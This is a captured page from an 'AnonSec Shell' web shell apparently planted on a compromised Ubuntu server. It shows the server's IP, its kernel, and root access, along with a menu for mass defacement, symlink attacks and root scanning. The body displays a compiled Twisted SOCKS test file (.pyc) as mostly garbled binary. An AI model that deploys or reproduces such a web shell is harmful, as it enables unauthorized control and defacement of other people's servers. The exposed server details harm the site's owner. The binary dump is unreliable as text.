AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_socks.cpython-310.pyc
o

�bXD�@s�dZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZGd	d
�d
e
j�ZGdd�d�ZGd
d�de	j�ZGdd�dej�ZGdd�dej�ZdS)z_
Tests for L{twisted.protocol.socks}, an implementation of the SOCKSv4 and
SOCKSv4a protocols.
�N)�address�defer)�DNSLookupError)�socks)�	iterbytes)�
proto_helpers)�unittestc@s,eZdZdZdZdd�Zdd�Zdd�ZdS)	�StringTCPTransportFNcCs|jS)N)�peer��self�r
�9/usr/lib/python3/dist-packages/twisted/test/test_socks.py�getPeerszStringTCPTransport.getPeercCst�ddd�S)N�TCPz2.3.4.5�*)r�IPv4Addressrr
r
r�getHostszStringTCPTransport.getHostcCs
d|_dS)NT)�stringTCPTransport_closingrr
r
r�loseConnections
z!StringTCPTransport.loseConnection)�__name__�
__module__�__qualname__rr
rrrr
r
r
rr	sr	c@s eZdZdZdd�Zdd�ZdS)�FakeResolverReactorzP
    Bare-bones reactor with deterministic behavior for the resolve method.
    cCs
||_dS)z�
        @type names: L{dict} containing L{str} keys and L{str} values.
        @param names: A hostname to IP address mapping. The IP addresses are
            stringified dotted quads.
        N)�names)rrr
r
r�__init__'s
zFakeResolverReactor.__init__c
Cs>z	t�|j|�WStyt�td|�d���YSw)zQ
        Resolve a hostname by looking it up in the C{names} dictionary.
        z"FakeResolverReactor couldn't find zutf-8)r�succeedr�KeyError�failr�decode)r�hostnamer
r
r�resolve/s���zFakeResolverReactor.resolveN)rrr�__doc__rr!r
r
r
rr"src@s$eZdZdZdZdd�Zdd�ZdS)�
SOCKSv4DriverNcGs:||�}t�|_t�d||�|j_|��||_t�|�S)Nr)	r	�	transportrrr
�connectionMade�driver_outgoingrr)r�host�port�klass�args�protor
r
r�connectClassDs
zSOCKSv4Driver.connectClasscGs(||�}||_|dkr
d}t�d|f�S)Nr���6.7.8.9)�
driver_listenrr)rr(r)r*�factoryr
r
r�listenClassMs
zSOCKSv4Driver.listenClass)rrrr&r/r,r1r
r
r
rr#=s
	r#c@�PeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�ConnectTestszV
    Tests for SOCKS and SOCKSv4a connect requests using the L{SOCKSv4} protocol.
    cC�0t�|_t�|j_|j��tddi�|j_dS�Ns	localhost�	127.0.0.1�r#�sockr	r$r%r�reactorrr
r
r�setUp[�

zConnectTests.setUpcCs(|jj}|dur|�|jjd�dSdS)Nz-Outgoing SOCKS connections need to be closed.)r8r&�
assertTruer$r)r�outgoingr
r
r�tearDownas��zConnectTests.tearDownc	Cs�|j�t�dddd�t�d�dd�|jj��}|jj��|�	|t�ddd	d�t�d��|�
|jjj�|�|jj
�|j�d
�|�	|jj
j��d
�|jj
�d�|�	|jj��d�|j�d�dS)
N�!BBH���"�1.2.3.4�fooBAR�r�Z�hello, world�hi there�fake reason)r8�dataReceived�struct�pack�socket�	inet_atonr$�value�clear�assertEqual�assertFalser�assertIsNotNoner&�connectionLost)r�sentr
r
r�test_simpleis*�����zConnectTests.test_simplec	Cs�t�dddd�t�d�dd}t|�D]}|j�|�q|jj��}|jj�	�|�
|t�ddd	d�t�d
��|�|jjj�|�
|jj�|j�d�|�
|jjj��d�|jj�d�|�
|jj��d�|j�d
�dS)�u
        If the destination IP address has zeros for the first three octets and
        non-zero for the fourth octet, the client is attempting a v4a
        connection.  A hostname is specified after the user ID string and the
        server connects to the address that hostname resolves to.

        @see: U{http://en.wikipedia.org/wiki/SOCKS#SOCKS_4a_protocol}
        r?r@rArB�0.0.0.1�fooBAZ�
localhostrrFr6rGrHrIN)rKrLrMrNrr8rJr$rOrPrQrRrrSr&rT�r�
clientRequest�byterUr
r
r� test_socks4aSuccessfulResolution�s,����
�z-ConnectTests.test_socks4aSuccessfulResolutionc	C�t�dddd�t�d�dd}t|�D]}|j�|�q|jj��}|�	|t�ddd	d�t�d
��|�
|jjj�|�|jj
�dS)��
        Failed hostname resolution on a SOCKSv4a packet results in a 91 error
        response and the connection getting closed.
        r?r@rArBrXrY�failinghostr�[�0.0.0.0N�rKrLrMrNrr8rJr$rOrQr<r�assertIsNoner&r[r
r
r�test_socks4aFailedResolution�� ����
�z)ConnectTests.test_socks4aFailedResolutionc	C�dd�|j_|j�t�dddd�t�d�dd	�|�|jj�	�t�dd
dd
�t�d��|�
|jjj�|�|jj
�dS)
NcS�dS�Nrr
��code�serverr(�userr
r
r�<lambda>��z0ConnectTests.test_accessDenied.<locals>.<lambda>r?r@rA��10.2.3.4rDrErrbrc)r8�	authorizerJrKrLrMrNrQr$rOr<rrer&rr
r
r�test_accessDenied�� ����
�zConnectTests.test_accessDeniedcCsx|j�t�dddd�t�d�dd�|jj��|j�d�|�|jj	j�
�d�|jj	j��|jj	�d	�dS�
Nr?r@rArBrCrDrErGrI)
r8rJrKrLrMrNr$rPrQr&rOrrTrr
r
r�test_eofRemote�s����zConnectTests.test_eofRemotecCsh|j�t�dddd�t�d�dd�|jj��|j�d�|�|jj	j�
�d�|j�d	�dSrv)r8rJrKrLrMrNr$rPrQr&rOrTrr
r
r�
test_eofLocal�s����zConnectTests.test_eofLocalN)rrrr"r:r>rVr^rfrtrwrxr
r
r
rr3Vs.r3c@r2)�	BindTestszS
    Tests for SOCKS and SOCKSv4a bind requests using the L{SOCKSv4} protocol.
    cCr4r5r7rr
r
rr:r;zBindTests.setUpc	Cs@|j�t�dddd�t�d�dd�|jj��}|jj��|�	|t�ddd	d
�t�d��|�
|jjj�|�|jj
�|jj
�d�}|�|�t�|_|��|jj��}|jj��|�	|t�ddd	d�t�d
��|�
|jjj�|j�d�|�	|j��d�|�d�|�	|jj��d�|j�d�dS)Nr?r@�rBrCrDrErrFr-r.�rC��rcrGrHrI)r8rJrKrLrMrNr$rOrPrQrRrrSr/�
buildProtocolr	r%rT�rrU�incomingr
r
rrVs>�����
�
zBindTests.test_simplec	CsTt�dddd�t�d�dd}t|�D]}|j�|�q|jj��}|jj�	�|�
|t�ddd	d
�t�d��|�|jjj�|�
|jj�|jj�d�}|�
|�t�|_|��|jj��}|jj�	�|�
|t�ddd	d�t�d
��|�|jjjd�|j�d�|�
|j��d�|�d�|�
|jj��d�|j�d�dS)rWr?r@rzrBrXrYrZrrFr-r.)r6r|rcNrHrI)rKrLrMrNrr8rJr$rOrPrQrRrrSr/r}r	r%�assertIsNotrT)rr\r]rUrr
r
r�test_socks4a7s@����
�
�
zBindTests.test_socks4ac	Cr_)r`r?r@rzrBrXrYrarrbrcNrdr[r
r
rrfrrgz&BindTests.test_socks4aFailedResolutionc	Crh)
NcSrirjr
rkr
r
rro�rpz-BindTests.test_accessDenied.<locals>.<lambda>r?r@rzrqrrrDrErrbrc)r8rsrJrKrLrMrNrQr$rOr<rrer/rr
r
rrt�ruzBindTests.test_accessDeniedc	Cs�|j�t�dddd�t�d�dd�|jj��}|jj��|jj	�
d�}|�|�t�|_|�
�|jj��}|jj��|�|t�dd	d
d	�t�d��|�|jjj�|j�d�|�|j��d�|j��|�d
�dS�Nr?r@rzrBrCrDrEr{rrFrcrGrI)r8rJrKrLrMrNr$rOrPr/r}rSr	r%rQrRrrrTr~r
r
rrw�s2����
�
zBindTests.test_eofRemotec	Cs�|j�t�dddd�t�d�dd�|jj��}|jj��|jj	�
d�}|�|�t�|_|�
�|jj��}|jj��|�|t�dd	d
d	�t�d��|�|jjj�|j�d�|�|j��d�|j�d
�dSr�)r8rJrKrLrMrNr$rOrPr/r}rSr	r%rQrRrrTr~r
r
rrx�s0����
�zBindTests.test_eofLocalc	Cs�|j�t�dddd�t�d�dd�|jj��}|jj��|jj	�
d�}|�|�|jj��}|jj��|�|t�dd	d
d	�t�d��|�
|jjj�dS)Nr?r@rzrBrCrDrE)z1.6.6.6i�rrbrc)r8rJrKrLrMrNr$rOrPr/r}rerQr<rr~r
r
r�test_badSource�s&����
�zBindTests.test_badSourceN)rrrr"r:rVr�rfrtrwrxr�r
r
r
rry�s
'; ry)r"rMrK�twisted.internetrr�twisted.internet.errorr�twisted.protocolsr�twisted.python.compatr�twisted.testr�
twisted.trialr�StringTransportr	r�SOCKSv4r#�TestCaser3ryr
r
r
r�<module>s)

Anon7 - 2022
AnonSec Team